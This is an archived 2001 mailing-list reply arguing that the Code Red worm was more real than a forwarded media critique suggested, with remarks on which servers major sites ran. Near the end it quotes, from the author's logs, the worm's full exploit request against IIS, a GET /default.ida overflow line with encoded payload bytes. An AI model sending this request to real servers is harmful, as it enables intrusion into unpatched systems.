Re: [LINK] Code Red - a Red Herring.

From: Rick Welykochy (rick@praxis.com.au)
Date: Thu Aug 02 2001 - 16:31:00 EST


Looks like the Red Herring is a Red Herring ...

On Thu, 2 Aug 2001, Bernard Robertson-Dunn wrote:

> Seen on Politech

Yup.

[schnippe]

> would any self-respecting 24-hour cable news network want to show a
> housewife trying to struggle with a virus-infected home computer operating
> Windows 95? Better to capture viewers' attention with hordes of computer
> programmers and managers wrestling with downed web sites at Ford, Xerox,
> Charles Schwab, and Amazon.com.

Amazon.com runs on Unix using Apache/Stronghold.
Schwab runs on Solaris using Netscape-Enterprise.

Interestingly, the websites for Ford USA, Ford Canada and Ford UK
were offline when I first checked five minutes ago.

But now:

Ford.com, Ford.ca and For.co.uk are running Microsoft-IIS on Windows 2000.

Well, 1 out 3 ain't good.

I presume the Ford sites are bouncing around their respective ops rooms
like rubber balls.

> POSTSCRIPT:
>
> Not getting the media bounce from the 8:00 PM EST Code Red meltdown hour on
> July 31 (nothing happened!), the FBI began spinning the story the very next
> morning that 22,000 computers had been hit with Code Red. Considering that
> viruses and worms probably strike many more computers than that on any
> given day, 22,000 is a relatively low number.

Crap. My home network and a that of a fellow worker are getting hit
with the exploit all day today. The exploit looks like this:

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a

Cheeries,
Rick W

_____________________________________________
Rick Welykochy || Praxis Services Pty Limited

"Those who do not understand Unix are condemned to reinvent it, poorly."
       - Henry Spencer



This archive was generated by hypermail 2.1.1 : Fri Aug 31 2001 - 03:10:02 EST